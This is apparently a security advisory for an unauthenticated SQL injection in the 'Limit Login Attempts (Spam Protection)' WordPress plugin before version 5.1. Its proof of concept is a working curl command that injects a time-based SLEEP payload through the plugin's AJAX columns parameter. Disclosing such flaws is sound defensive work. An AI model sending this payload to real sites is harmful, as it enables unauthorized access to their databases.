WordPress Plugin Vulnerabilities

Limit Login Attempts (Spam Protection) < 5.1 - Unauthenticated SQLi

Description

The plugin does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections

Proof of Concept

order and columns parameters are affected

curl 'https://example.com/wp-admin/admin-ajax.php' --data 'action=WPLFLA_get_log_data&order[][column]=0&columns[][data]=(SELECT 7382 FROM (SELECT(SLEEP(5)))ameU)'

Affects Plugins

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-03-02 (about 2 years ago)
Added
2022-03-02 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other